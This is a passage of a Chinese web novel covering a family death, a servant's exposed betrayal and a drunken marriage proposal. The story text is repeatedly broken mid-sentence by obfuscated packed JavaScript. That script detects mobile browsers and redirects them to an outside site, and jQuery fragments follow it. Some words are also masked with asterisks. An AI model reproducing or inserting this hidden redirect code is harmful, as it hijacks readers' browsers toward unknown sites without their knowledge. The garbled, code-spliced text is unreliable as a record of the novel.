意识到了什么,蒋南笙泣不成声,蒋鹤荣等人也跟着抹起了眼泪。 林铮立在一旁,看着蒋南笙伤心难过的模样,他的心口也不自觉揪紧。 但他什么都做不了,只能站在她的身侧,给她无声的宽慰与支撑。 蒋南笙哭了一会儿,才松开了蒋老太医的手,又替他把衣裳被角整理好。 做完这一切,她起身,很快收拾好了自己面上多余的情绪。 她整个人都好似变了,浑身上下,都透着股清冷之意。 蒋鹤荣对上她的目光,不自觉生出几分畏惧来。 蒋南笙看着他,语气清冷,“父亲,祖父是你推倒在地的,是吗?” 蒋鹤荣本能心虚,磕磕绊绊地为自己辩解。 “不,不是我,是林铮,定是他暗中使坏,嫁祸到我的头上。” 反正老爷子已经**,没人可以指认他,他是不会承认自己害死老父亲的。 蒋南笙看着他眼神闪烁的模样,心头升起一股深深的失望。 林铮唯恐她误会,语气急切地辩解。 “阿蘅,我没有,我不可能对老爷子下手。更何况,方才我中了毒,就算想做什么也有心无力。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523291|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒋鹤荣高声反驳,“你个羌笛贼子,惯会信口雌黄!南笙,你莫要被他欺瞒了,上次你遇到歹人袭击,便是他害的,张垚都亲眼瞧见了。” 蒋南笙闻言,眸底飞快闪过一抹冷光。 她环顾四周,冷声问,“张垚人呢?” “他不就在……咦,方才还在这里的,人呢?” 蒋鹤荣找了一圈没看到人。 蒋南笙直接下令,“去把他抓回来。” 她用的是“抓”这个词,众人立马敏锐地意识到了什么。 只怕,张垚当真做了什么不该做的事,彻底斩断了他们之间的主仆情。 而张垚显然也知道这一点,若不然,为何蒋南笙一恢复记忆,他就立马偷偷溜了? 萧晏辞当即安排人去抓人,无论如何都要把人抓回来。 蒋鹤荣也后知后觉地反应过来了什么,他的脸色变得有些惊疑不定。 “南笙,这,这是怎么一回事?张垚他怎么了?你是不是误会他了?” 蒋南笙揉着自己的眉心,露出几分疲态。 “父亲不必多问,等他来了,一切都能见分晓。” 蒋鹤荣张了张嘴,想说什么,最后到底什么都没说。 张垚刚跑没多久,此时又是晚上,城门紧闭,他便是想跑也出不了城。 各家各户也都关门闭户,他能躲藏的地方不多。 萧晏辞派了人搜寻,不出一个时辰就把人抓了回去。 他被押到蒋南笙面前,“扑通”一声跪了下去。 “小,小姐。” 蒋南笙目光淡淡地落在他的身上,“张垚,你方才跑什么?” 张垚低着头,掩饰眸底的心虚。 “小的没有跑,小的只是,只是想出去为老太爷再请名医,或许老太爷还能有救。” “祖父已然离世。” 张垚露出悲痛之色,“是小的无能,没能请来名医。” 蒋南笙目光定定地落在他的身上,带着一股深深的探究与打量,便似之前不曾认识过他。 以前,自己的确未曾发现,自己的身边人竟是如此巧舌如簧,不见棺材不掉泪。 第321章 背叛 此时,便是蒋鹤荣也觉得张垚心里有鬼。 想到今日之种种,皆因张垚向自己献计而起,蒋鹤荣心头便窝着一团怒火。 “张垚,你休要再顾左右而言他!你到底隐瞒了什么事,给我老实交代!” 张垚咬牙否认,“小的没有隐瞒任何事。” 蒋南笙静静看着他,“张垚,你自小跟在我身边,与我一起长大,还替我挡过刀,我一直都信任你。哪怕你做了错事,我也会念在过往情分上,饶你一命,只要你主动交代。” 张垚沉默了片刻,依旧没有改口。 “小的对小姐忠心耿耿,并未做过半点对不起您的事。” 蒋南笙眼底闪过一抹失望。 她轻轻叹了口气,“当日我都听到了,那些袭击我的人,是你安排的。” 张垚眼底闪过慌乱,他不承认,“小姐,小的怎会做这样的事?您误会小的了!” 蒋南笙语气平静地讲述着,“当时我们遇袭,你护着我要逃,却被两个蒙面壮汉拦住,你与他们打了起来。对方下手并不留情,你很快受了伤,你气急败坏地责问他们不讲信用,竟对你动真格。对方大笑着吐露实情,他们原本就是冲着要我性命来的,而你替他们通风报信,给他们行了方便。” 对方眼见计谋即将得逞,很是得意,蒋南笙就在旁边,全都听到了。 彼时她不可置信地看着张垚,张垚对上她的目光,眼底满是慌乱与心虚。 那一刻,蒋南笙便知道,张垚真的背叛了自己。 彼时,张垚拉着她,欲将她带走。 “小的先护着您离开,旁事容后再解释。” 但他没有机会解释,他腹部中了一刀,自顾不暇,然后就不知道发生了什么了。 他受了伤之后,一直东躲西藏,好容易捡回一条命,就听说蒋家人犯了事,被发配西平了。 他怕被牵连,便也一直躲着没有现身。 而后,蒋南笙以女医的身份出现,张垚本没有认出她来,但却认得林铮。 他一直暗中观察,探听他们的身份,最后不得不确认一件事,那个阿蘅大夫就是蒋南笙,他伺候了这么久的少爷,其实是小姐。 张垚心中滋味难言,他想不明白,她一直对自己隐瞒女儿身,为何在林铮面前却愿意袒露身份? 直到后来,他得知蒋南笙失去了记忆,才终于明白了原由。 这也让他终于敢现身了。 小姐失忆了,就忘了先前那些事,他先前做的那桩事,自然就能就此揭过。 张垚想过有一日,她会恢复记忆。 但他预计是很久之后的时候,那时他定然已经重新获得了小姐的信任,他能解释清楚那件事。 在此之前,他得先除掉林铮。 除掉了林铮,自己才没了后顾之忧。 他成功煽动了蒋鹤荣,打算来个借刀**,但没想到,事情刚开始就发生了意料之外的变故。 蒋南笙头部再次受到撞击,阴差阳错地恢复了记忆。 她把一切都想起来了。 蒋南笙语气平静地讲述当日情形,张垚的眼底满是慌乱。 他依旧不承认,“小姐,当时情况混乱,定是您听错了,小的自小跟着您身边,对您忠心耿耿,怎会背叛您?小的敢对天发誓,若当真做出任何背叛您之举,便叫小的被天打五雷轰,不得好死!” 他满脸急切,发誓的语气也很重,恨不得破腹自证清白。 他的这番态度,让蒋鹤荣不禁生出动摇。 张垚是蒋家的家生子,又是南笙的心腹,于情于理,他都没有理由背叛南笙。 更何况,他还发了那么狠毒的誓言,他若说谎,可是要受上天责罚的。 “南笙,是不是你听错了?” 蒋南笙的心中并没有动摇,她语气坚定。 “我绝对没有听错。” 若只是对方说了这话也就罢了,当时,张垚也回应了对方,他们的对话,以及当时张垚看她的神色,分明说明了一切。 而且蒋南笙还想起来,在事发前的那几天,张垚的行踪便有些异常了。 这诸多疑点,让蒋南笙不得不怀疑他。 张垚脸色有些僵硬,同时亦生出几分寒心。 “小姐,当初您在外出游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530241|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历遇到危险,是我为你挡了一刀,为了您,我连性命都可以豁出去,您怎能如此怀疑我?” 蒋南笙看着他,“我也不想怀疑你,但我相信自己看到的,听到的。” 经历了一次生死,蒋南笙比以往更加冷静,看人也更清醒理智几分。 张垚急切辩解,“可是我有什么理由害您?” 蒋南笙不知道。 她也想不通。 自己并未亏待过张垚半分,他为何要害自己? 这时,一旁的林铮忽而开口,“你是为了除掉我,对吗?” 这话一出,张垚眼底飞快闪过一抹异色。 哪怕他很快收敛,但还是被有心人捕捉到了。 林铮唇角勾起一抹冷笑,“果然如此,我的存在,竟让你如此忌惮,不惜要赌上你家小姐的性命?” 张垚隐秘的心思被戳破,心中升起恼怒。 但他很快将这不该有的情绪收敛了起来。 他语气硬邦邦地开口,“我不知道你在说什么!” 林铮已然窥破了他的心思,便故意挑他的软肋下刀子。 “你是嫉妒了,是吗?自从我来了之后,阿蘅……南笙就一直细心照料我,对我嘘寒问暖,你看在眼里,妒火中烧,你被占有欲所支配,所以你一直看我百般不顺眼,还对我下逐客令。但我偏偏没有如你愿,没有主动离开,所以你急了,慌了,也变得不择手段。我说对了吗?” 蒋南笙满脸诧异地看着张垚。 他对自己,难道生了旁的心思? 他难道此前就发现了自己是女儿身? 还是说…… 蒋南笙没有再继续深想,她不想让这段主仆关系变得更加不堪。 陆知苒联想到了前世之事。 前世,张垚也背叛了蒋南笙,帮着赵书宁窃取了蒋南笙的功劳。 之后,蒋南笙的女儿身揭开的方式也不大光彩。 她不得不嫁给了张垚,至此被困在后宅,折断了医术的梦。 陆知苒可以断定,张垚对蒋南笙定是生了爱慕之心。 只是她也不清楚,张垚爱慕的是六少爷,还是六小姐。 第322章 卑劣又上不得台面的爱 张垚依旧不承认,林铮便继续用话语激他。 每一字,每一句,都戳在张垚敏感的神经上。 他忽而暴起,朝林铮发出攻击,直取对方咽喉。 林铮对此早有防范,根本没让他得手,几个交手间,就反剪了张垚的手,还掐住了对方的咽喉。 他只要一个用力,张垚的脖子就能被扭断。 而此时,张垚已经被掐得呼吸艰难了。 林铮冷笑,“被我说中心思,恼羞成怒了?呵呵,敢对南笙生出觊觎之心,又不敢承认,当真是如那阴沟里的老鼠一般,令人瞧不起。” 张垚的脸色越发涨红,不知是被掐的,还是被林铮的话激的。 他咬牙切齿,“你一个羌笛人的贱种,有什么资格置评我?我对小姐是默默的爱慕,你才是不要脸的觊觎!像你这样的人,就该识趣地离小姐远远的,而不是这般死乞白赖地赖着不走!” “终于肯承认了?我的确身份卑微,但我不会因为任何理由做出伤害她的事。而你,为了自己的独占欲,将她的安危置之不顾。你这所谓的爱慕,才卑劣又上不得台面。” “这一次,只怕也是你撺掇蒋大老爷对我下毒的吧,好一出借刀**。” 最后这话让蒋鹤荣一个激灵,反应过来。 他立马指着张垚,把一切罪责尽数甩到对方身上。 “原来你是贼喊捉贼,还把我当枪使啊。好个奸诈小人,我真是错信你了!若非你在我面前进谗言,南笙不会受伤,父亲也不会意外身亡,你就是罪魁祸首!” 蒋鹤荣的指证,让张垚无话可说。 萧晏辞看着张垚,语气冰冷摄人,“那些人,你是如何联系上的?你可知对方的身份?” 张垚依旧没开口。 萧晏辞继续道,“那些人是冲着南笙去的,这段时间,南笙便遭遇了很多次他们的追杀,若不将他们除掉,南笙随时都可能再次遭遇危险。这是你想看到的吗?” 张垚的神色终于有了波动。 他终于开口,“我不知他们的身份,是他们主动找到的我。” “对方是如何与你说的?” “他们自称是冲着林铮来的,我便以为他们是林铮的仇家,这才顺水推舟,促成了此事,我真的没想到他们怀了歹心,要害小姐……” 张垚本想向蒋南笙表忠,但脖子上被一个用力,他瞬间一阵呛咳,半个字都说不出来了。 “你可还记得对方的外貌特征?” 张垚咳了好半晌才缓过来,艰难开口,“隐约记得,小的可以画下来。” 他跟在蒋南笙的身边,有幸与他一同读书**字,也学了几分丹青,虽然远比不上蒋南笙的画技,但跟寻常百姓相比,他也算是文武双全的好儿郎了。 只可惜,他没有好好珍惜自己的好日子。 蒋南笙对林铮示意,林铮这才松开了张垚。 张垚得了自由,便扑通一声贵在蒋南笙面前,声音嘶哑地求饶。 “小姐,小的是一时糊涂,才会轻信旁人,险些害了小姐性命。小的真的是无心的,请您相信小的对您的一片忠心!” 他深深叩首,语气中满是愧悔。 蒋南笙看着他,面上并无半分波澜。 “上次,你打着我的名义赶走林铮,我当时是怎么与你说的,你可还记得?” 张垚的身子一颤,一时说不出话来。 蒋南笙缓缓开口,“我说,每个人都有自己的本分,你的本分,是做好我吩咐之事,而不是打着我的旗号,做一些自以为是的事,若有下次,我定不轻饶。” “当时,你亦是这般愧悔模样,但转头,你便与外人勾结,欲除掉林铮,连我的安危也丝毫不顾。张垚,我对你很失望。你我的主仆情分,便缘尽于此了。” 张垚抬眸,双眸中已然蓄满了泪。 “公子……” 他唤出了以往的称呼。 蒋南笙的眸底多了一丝动容,但不过转瞬即逝。 他膝行两步,朝蒋南笙靠近,被林铮拦住。 “公子,我只是一时糊涂,被迷了心智……” 蒋南笙打断了他,“你有不止一次改过的机会,但你都作了让我失望的选择,我便是再给你无数次机会,也改变不了结局。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530242|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>张垚对林铮的敌意,以及他为了除掉林铮的不择手段,都让蒋南笙感到寒心。 早些年,萧晏辞曾说,张垚此人心思太沉,不宜委以重任。 彼时蒋南笙并不认同,反而有种自己人被诋毁了的不悦。 对于自己的身边人,她一直都有些灯下黑的偏袒。 而今,她终于认识到了这一点。 萧晏辞的话并没有错。 她不会再把张垚留在身边。 张垚还要再说些什么,蒋南笙没有给他机会,“下去吧,若你能戴罪立功,我或可对你从轻发落。” 张垚缓缓起身,走了两步,终究是不甘心。 “小姐。我能否问最后一个问题。林铮到底比我好在哪里?” 蒋南笙没有回答这个问题。 她也在想,林铮比张垚好在了哪里? 一开始的林铮,戒心很重,即便满身是伤,但醒来时,也下意识要攻击人,那眼神,似一匹狼。 但后来,他将自己划归为自己人的范畴之后,眼神就变了。 他知恩图报,会奋不顾身地救自己。 他看似冷酷无情,但却会悉心地照料那些病患。 最重要的是,他骨子里有很强的是非观,他不会为了害人使这些上不得台面的手段。 或许,她的这番评价也并不客观,因为她的心已经偏了。 张垚没有得到答案,却知道自己输得彻底,心头的不甘更似开了闸的洪水般,汹涌难平。 张垚凭着记忆画了几幅画,萧晏辞在他的描述下重新修饰了一番,最后张垚终于点头。 “有八成相像。” 萧晏辞立马安排人拿着画像去追查,一旦发现可疑之人,立马捉拿。 而张垚则被暂时收押。 若是抓到可疑之人,他便是人证,所以他暂时还不能死。 料理完这件事,天色已然不早。 蒋南笙刚刚经历了丧亲之痛,加上身子本就尚未休养好,脸上已然露出几分疲态。 原本计划明日启程,而今看来,又要多耽搁一两日。 至少,要先把蒋老太医的后事料理一番。 第323章 做叶家的女婿 萧晏辞不知如何安慰,“南笙,你要节哀。” 蒋南笙朝他勉强笑了笑,“阿辞莫要担心,我没那么容易倒下。” 蒋家还得靠她撑起来,即便她心中如何悲痛,也会调整好状态。 萧晏辞知她心性坚韧,便不再多言,先行告辞了。 回到将军府,大家也没再聚的心思,各自回去歇下了。 而中途离席切磋武艺的叶寒衣和戈叙白,则完全被他们遗忘了。 二人一开始的确在院中切磋武艺,但打了两轮,两人就停了手,然后两人飞到了屋顶喝酒。 戈叙白问她,“酒量如何?” 叶寒衣一脸豪气,“千杯不醉。” 她才刚出生没几天,她爹就用筷子沾了救喂她,把她喂得昏睡一天一夜。 为此,她爹被他娘骂到了现在。 也不知是不是这个原因,她的酒量一直都很好,她爹都喝不过她。 戈叙白看着她,明显不信。 叶寒衣反问他,“你酒量如何?” 戈叙白面不改色,“与你不相上下。” 叶寒衣顿时有种找到了对手的亢奋感。 她端起酒坛子,仰头就灌了一大口,然后示意该他了。 戈叙白:…… 敢情方才在餐桌上她都是装出来的斯文。 接连灌了好几口,半坛子酒下肚,叶寒衣依旧脑子清醒,双眸晶亮,舌头半点没打结。 戈叙白看上去也很冷静,面色没有半分变化,身姿也挺得十分笔直,但实际上,他的眼前已经开始冒金星,脑子也不甚清醒了。 但叶寒衣并没有看出来。 叶寒衣喝兴奋了,直接伸手搭在戈叙白的肩头上,语气豪迈。 “你果然是我的好兄弟,长得合我眼缘,武艺与我不相上下,喝酒咱们也能喝到一块儿去。” 戈叙白转头,看了一眼自己肩头上的那只手,身子绷得更直了几分。 叶寒衣又与他碰了一下,“来,继续喝!” 戈叙白打了个酒嗝,旋即举起酒坛子豪饮了一口。 不能让她看出自己酒量差。 一坛子酒几乎见底,叶寒衣竟也有了几分微醺之意。 “咦?这是什么酒?后劲竟然如此大。” 戈叙白的舌头有些僵硬,说话也变得慢腾腾的。 “是三十年的醉仙醪,我从,师父的酒窖里偷出来的。” 这酒是他们从羌笛掠来的战利品。 谷栖山不好酒,便一直放在酒窖里封存着,说是留给谷兆麟和戈叙白成亲时所用。 而今,谷兆麟不配再蒙受这份心意,戈叙白就不客气地偷了两坛子。 想来,师父知道了,也定然不会怪罪。 “好酒。方才谷将军都不拿出来,真是小气。” 戈叙白看着她,认真地解释,“这是留着我成亲时候喝的。” 叶寒衣眨巴眨巴眼睛看他,“那你怎么今夜拿出来让我喝?” 戈叙白一时没说话。 叶寒衣忽而凑近了几分,“戈叙白,你觉得我怎么样?” 戈叙白的眼珠子转了转,脑子被酒精糊住了,转得有些慢。 “我觉得你挺不错的。怎么样,考不考虑做我们叶家的女婿?” 戈叙白的目光定定,眸中倒映着她的笑脸,绚烂如花,他的心口也跳得快了几分。 他从鼻腔中发出一声“嗯”,似是回答。 叶寒衣眼睛亮晶晶的,“你这是答应了?” 戈叙白又“嗯”了一声,整个人看上去乖乖巧巧的,十分听话。 叶寒衣狐疑地看他,“你到底知不知道我在说什么?” 瞎答应,她可要当真了。 戈叙白:“我知道。娶你,做叶家女婿。” 叶寒衣又问,“如果要放弃你现在在镇西军的一切,到滇南去从头开始,你也愿意?” 戈叙白虚空了一会儿,才缓缓开口,“师父说,滇南很好,叶家军,也,很好。” 顿了顿,他又转向叶寒衣,语气缓慢而认真。 “你也很好。” 许是这酒的后劲太强,叶寒衣的脸颊红扑扑的。 “我哪里好?” 戈叙白:“哪里都好。” 叶寒衣听了这话,半点不害羞,反而咧嘴大笑,“不愧是我看上的人,有眼光。来来来,继续喝。” 这人平日里一本正经,喝醉了嘴甜,那就多喝点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535775|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她爱听。 但越喝到后面,叶寒衣觉得自己的脑袋越发沉了。 “这酒,不一般,竟能灌倒我。我不服气,我明明是千杯不醉。” 为了证明自己,她不仅把自己那坛酒一饮而尽,还把戈叙白的抢了过来。 到最后,戈叙白还能坐得笔直,她却是身子发软,烂醉如泥了。 即便如此,她嘴里也没闲着。 “我,我告诉你,我们叶家的女婿,可,可不是那么,好当的。你,你得通过我爹,和我祖父的考教,酒囊饭袋,不配做叶家的女婿。” “还有,我娘喜欢好看的人,长得太丑的,也没资格做叶家的女婿。好在,你长得好看,功夫也不错,想来,不会有问题。” “但是啊,你千万不要再蓄须了,简直太丑了。” 叶寒衣絮絮叨叨说着,身旁的人一直没有回应,但他的目光却一直落在叶寒衣的身上,身子笔直,一只手也护在她的身侧,以防她坐不稳摔下去。 不知过了多久,身旁人终于没了声音,靠在了他身上睡着了。 戈叙白垂眸看着她,目光温柔。 宿醉一晚,叶寒衣的脑袋几乎炸开,痛极了。 迷迷糊糊醒来,她猛地坐了起来。 什么时辰了?表兄呢?他们启程了没有? 外头早已天光大亮,他们该不会是撇下了她,自己先走了吧。 她赶紧爬下床,整个人依旧是头重脚轻,晕乎乎的。 丫鬟听到动静,赶紧进来,叶寒衣这才得知昨夜蒋家出事,他们延后几日启程。 叶寒衣松了口气。 她素来自诩千杯不醉,谁料昨夜竟是马失前蹄,表兄定要狠狠笑话她。 不过,她昨晚怎么喝了这么多? 她灌了几杯冷茶,慢腾腾地理着脑中记忆。 哦对了,她是和戈叙白一块儿喝的酒。 他们坐在屋顶,喝到了很晚,好像也说了很多话。 但说了些什么来着? 叶寒衣努力回想,但一用脑子,太阳穴就突突直跳,疼得很,她便索性放弃了。 算了,不想了。 能忘记的事,说明也不是什么要紧事。 第324章 高攀了 前厅,有人来唤叶寒衣用午膳。 她直接睡过了早膳,眼下的确腹中饥肠辘辘。 到了正厅,发现大家都在,戈叙白也没走。 他的面色如常,看不出宿醉的模样,他的目光落在叶寒衣的身上,眼神中添了一丝别样的意味。 萧晏辞瞥了她一眼,出声嘲讽。 “哟,醒了?有些人不是自诩千杯不醉吗?看来有些名声都是自己吹出去的啊。” 叶寒衣早就预想到他会嘲讽自己,反唇相讥,“我再怎样,也比你强。” 转头马上向陆知苒揭他的短,“上次他去滇南,陪我爹和祖父喝酒,我们才刚开始,他就倒下了,醉得跟烂泥似的,还跑到院子里捡树叶,说那是他攒下的银子。” 陆知苒听得忍俊不禁。 萧晏辞脸上有些挂不住,让她闭嘴。 叶寒衣:“人不犯我,我不犯人。” 萧晏辞:…… 算他嘴贱。 戈叙白听着他们表兄妹斗嘴,唇角微不可查地翘了翘。 叶家,究竟是怎样的人家?能养出如叶寒衣这般直爽率性,阳光快乐的性子,还能让师父每每回忆,都满是思念与怅惘。 饭罢,众人各自散去。 戈叙白快步跟上叶寒衣,目光落在她的身上。 “可好些了?” 叶寒衣觉得有点不好意思,因为自己夸的海口被打脸了。 “好多了。” 两人并行一段路,戈叙白又问,“那你可还记得昨夜你说了些什么?” 叶寒衣轻“啊”了一声,“我说了什么?” 她的眼底盛着迷茫。 戈叙白见此,脸上的神色瞬间凝固,眸底也不觉添了几分幽深。 “你当真不记得了?” 叶寒衣对上他那副几欲**的目光,赶忙正了神色,努力回想。 到这会儿,她脑子已经基本上清醒了,她一番回想,还真就想起了一点蛛丝马迹来,只是她有些不确定,那是真实发生的,还是自己昨夜做的乱梦。 她试探性地道:“我是不是让你去做叶家的女婿?” 听她终于想起来了,戈叙白难看的脸色这才和缓了两分。 他从鼻腔中发出一声“嗯”算是回答。 “那你答应了吗?” 戈叙白目光幽沉地望着她,“我若没答应,何须在此与你回忆?” 他巴不得她忘了才好。 叶寒衣有些意外,又有些惊喜,旋即开始后知后觉地不好意思起来了。 这么容易就骗到手了? 见她又不说话了,戈叙白的脸色又沉了两分。 “怎么,你后悔了?” 叶寒衣立马摇头,“当然没有。我说出去的话都算数。” 戈叙白微不可查地松了口气。 但想到方才她把此事忘了,戈叙白依旧有些气闷。 “是吗?方才若非我提醒,只怕你早就抛诸脑后了。” 过几日,她潇潇洒洒地走了,徒留自己被搅了心神。 叶寒衣听出他语气中满满的怨念,颇有种自己是负心汉的感觉。 叶寒衣倒打一耙,“还不是你拿来的酒,后劲实在太足了,我现在头还在疼呢。” 反正是酒的错,怪不到她的头上。 戈叙白闻言,方才兴师问罪的气势立马没了,转而露出关心之色。 “头还疼吗?我让人给你煮一碗醒酒汤。” 说着就要去安排,叶寒衣立马拦下。 “不用不用,也没那么严重,过一会儿就好了。” 戈叙白再三确认,方作罢。 本以为他们今日就走,戈叙白心中头一次生出那般强烈的不舍。 幸而,他们还需过几日才走,他心中便微不可查地松了口气。 “我会与师父提我们的事,尽快派人到滇南提亲。” 他语气郑重,叶寒衣脸上总算露出几分不自在。 “我身无长物,唯有一腔真心,只盼令尊令慈不弃。” 叶寒衣心说,她看上的人,爹娘多半不会反对。 更何况,他还是谷栖山的徒弟。 但这话她没说出来,免得这男人骄傲。 叶寒衣藏不住事,她很快就自己向陆知苒透了底。 陆知苒一听,不禁笑了,“这要换作京中的姑娘,最多敢送点东西传情达意,你倒是大胆,张口就问人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535776|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家愿不愿意给叶家当女婿。你这性子,甚好。” 叶寒衣嘿嘿笑,“动动嘴皮子的事,成了最好,不成我也走了,说不定这辈子也见不着第二回,自然没什么好顾忌的。” 就是喝酒误事,害她把昨夜的事当成梦,险些让到嘴的鸭子飞了。 叶寒衣的洒脱让陆知苒佩服,也隐隐有几分羡慕。 活了两世,她每做一件事都要权衡利弊得失,再不会似从前那般简单直接。 陆知苒想到叶寒衣先前聊过的择婿标准,她说,要找个武艺好,还长得顺眼之人,看来,戈叙白是真的让她觉得颇为顺眼,不然也不会如此果决。 此事,萧晏辞很快知道了。 他是从谷栖山的口中得知。 戈叙白向谷栖山表明心意,请他代为操办提亲事宜。 谷栖山听罢,先是意外,旋即脸上又现出几分难以言说的复杂。 “你小子眼光不错,叶家的女儿的确很好。” 他好似在说叶寒衣,又好似在说旁的什么人。 戈叙白有些忐忑,“凭徒儿的身份,此事是否能成?” 谷栖山看着他,“你,的确是高攀了。” 戈叙白的父母亲人皆不在了,靠着一身悍勇的本事,入了谷栖山的眼,在谷栖山的调教下,他才慢慢出头,攒下了功绩。 此次大战,谷栖山为他请功,他应当能往上升一升,但再怎样升,也高攀不上滇南王府。 戈叙白有自知之明,但少年人的心动来得不易,他不想放弃。 谷栖山顿了顿,“你唯一的优势便是,你是我的徒弟。为师拼了老脸为你保媒,或许能有一线机会。” 自从他离开了滇南,便没有与故人联系过。 他不敢去回忆往昔,亦不敢与过往纠缠不清,怕他管不住自己的心,做出不理智之举。 没想到,他有一日会在西平遇到故人之后,更没想到,自己的徒弟还生了这般心思。 难得见自己这徒弟开窍,只是不知道,自己这老脸究竟还有没有分量,能不能促成这桩婚事。 “我只能尽力一试,但若不成,你也莫要强求。” 第325章 嘴都被亲肿了 谷栖山主动告知萧晏辞此事,便也是想先探探萧晏辞的口风,看看能否得到他从中斡旋。 “老夫知晓此事冒昧,但我那徒儿眼光挑剔,这么些年,只瞧上了叶家那姑娘。纵使是高攀了,也想拿出诚意来,试上一试。” 萧晏辞听了这话,不算意外。 先前叶寒衣便向他透露过口风,她瞧上戈叙白了。 没曾想,戈叙白也对她有意。 如此看来,他们二人竟是互相看对了眼? 对于戈叙白这个表妹婿,萧晏辞在心中飞快权衡一番。 若单论家世背景,戈叙白自是完全不够格的。 但叶家并非那等势利门阀,叶家是武将之家,叶家择婿的标准也与京中门阀不一样。 戈叙白文武双全,也立下不少战功,是个有真本事之人。 如此后起之秀,与寒衣倒也相配。 最主要的是,寒衣也瞧上了那小子。 舅舅舅母疼女儿,外祖父亦疼孙女,她自己乐意,此事便已成了大半了。 萧晏辞先是一番装傻,表示自己对表妹择婿之事做不了主,也帮不上忙。 但谷栖山伏低做小,在萧晏辞面前说了不少好话,萧晏辞这才没继续拿乔,稍微松口,透了些底。 又道:“本王观叙白人的确十分不错,与寒衣可堪良配。本王亦会去信给舅舅,为他美言几句,若他们二人当真有缘,此事料想能成。” 谷栖山闻言,悬着的心终于放下大半。 送走了谷栖山,萧晏辞这才把叶寒衣喊来,双方一对口供,这才得知,好家伙,竟是她主动的。 萧晏辞脸都黑了。 “你就这么恨嫁,不知道矜持些?” 叶寒衣一脸无所谓,“矜持有什么用?哪有开门见山来得干脆利落。” 萧晏辞被她噎得语塞。 “你想好了,当真中意他?” 叶寒衣点头,“想好了。” “你与他相识亦不过短短一月,对他的为人品性亦不够了解,或许日后你会发现你们二人并不合适。” 叶寒衣理所当然地道:“不试过怎么知道合不合适?若是当真不合适,我再和离,重新挑一个呗,有什么大不了的。” 谁会在一颗歪脖子树上吊死啊。 萧晏辞再次被她噎得说不出话来。 他摆摆手,把人打发了。 这小妮子心宽得很,自己实属瞎操心了。 蒋老太医的丧事简单料理好,一行人便出发返京了。 此时已然入秋,原本燥热的天气慢慢转凉,一路行程也会更加安逸舒适。 蒋南笙整理好了心情,面上看不出什么来,只是整个人清减许多,气质也越发清冷。 林铮依旧随侍左右,他知道现在的蒋南笙不一样了,便自觉地保持恰到好处的距离。 不过分亲近,但她需要时,他总能第一时间回应。 一行人启程,戈叙白打马相送,送了老远,那目光几乎要黏在叶寒衣的身上。 萧晏辞看了就牙酸,立马吩咐车夫走快些,然后对叶寒衣道:“快去把你的情郎打发了。” 叶寒衣便调转马头,朝后而去。 过了大半个时辰,叶寒衣才去而复返。 晚上投宿客栈,萧晏辞见她手里多了一把**,很浮夸的样式,刀柄上镶满了钻。 萧晏辞看得直蹙眉,“那小子送你的?” 叶寒衣笑眯眯地点头。 “他什么眼光?” 看不出他是这么浮夸的人。 叶寒衣为他辩解,“这是他第一次打胜仗,从羌笛那里得来的战利品,于他意义非凡。” 现在转赠给了她,可见自己在他心中的分量不一般。 萧晏辞看她那副唇角压不住的样子,暗暗翻了个白眼。 没出息,一把破**就被收买了。 又问,“那你给他回赠了什么?” 陆知苒也好奇地看着她。 